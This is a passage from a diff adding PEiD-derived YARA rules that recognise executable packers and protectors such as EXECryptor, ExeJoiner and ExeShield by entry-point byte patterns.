+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00611_EXECryptor_2_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00612_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00613_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00614_EXECryptor_2_2_2_3__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00615_EXECryptor_2_3_9__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00616_EXECryptor_2_3_9__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00617_EXECryptor_2_3_9__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00618_EXECryptor_2_3_9__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00619_EXECryptor_2_3_9_DLL__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00620_EXECryptor_2_3_9_DLL__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00621_EXECryptor_2_3_9_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00622_EXECryptor_2_3_9_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+    condition:
+        $a at pe.entry_point
+}
+
+/*
+rule PEiD_00623_EXECryptor_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_00624_EXECryptor_2_xx__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00625_EXECryptor_2_xx__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00626_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00627_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00628_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00629_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00630_EXECryptor_v1_4_0_1_
+{
+    meta:
+        description = "[EXECryptor v1.4.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00631_EXECryptor_v1_5_1_x_
+{
+    meta:
+        description = "[EXECryptor v1.5.1.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00632_EXECryptor_v1_5_3_
+{
+    meta:
+        description = "[EXECryptor v1.5.3]"
+        ep_only = "false"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00633_EXECryptor_V2_1X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00634_EXECryptor_V2_1X____SoftComplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> SoftComplete.com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00635_EXECryptor_V2_2X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.2X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+    condition:
+        $a
+}
+
+rule PEiD_00636_EXECryptor_vx_x_x_x_
+{
+    meta:
+        description = "[EXECryptor vx.x.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00637_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00638_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00639_ExeJoiner_1_0____Yoda_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00640_ExeJoiner_V1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner V1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00641_EXEJoiner_v1_0_
+{
+    meta:
+        description = "[EXEJoiner v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00642_EXELOCK_666_1_5_
+{
+    meta:
+        description = "[EXELOCK 666 1.5]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00643_ExeLock_v1_00_
+{
+    meta:
+        description = "[ExeLock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00644_EXEPACK__LINK__v3_60__v3_64__v3_65_or_5_01_21_
+{
+    meta:
+        description = "[EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00645_EXEPACK_v4_05__v4_06_
+{
+    meta:
+        description = "[EXEPACK v4.05, v4.06]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00646_EXERefactor_V0_1____random_
+{
+    meta:
+        description = "[EXERefactor V0.1 -> random]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00647_ExeSafeguard_1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard 1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+    condition:
+        $a
+}
+
+rule PEiD_00648_ExeSafeguard_v1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard v1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+    condition:
+        $a
+}
+
+rule PEiD_00649_ExeShield_3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield 3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00650_ExeShield_Cryptor_1_3RC____Tom_Commander_
+{
+    meta:
+        description = "[ExeShield Cryptor 1.3RC -> Tom Commander]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00651_ExeShield_Protector_V3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield Protector V3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00652_ExeShield_v3_7____ExeShield_Team__h__
+{
+    meta:
+        description = "[ExeShield v3.7 -> ExeShield Team (h)]"
+        ep_only = "true"
+    strings:
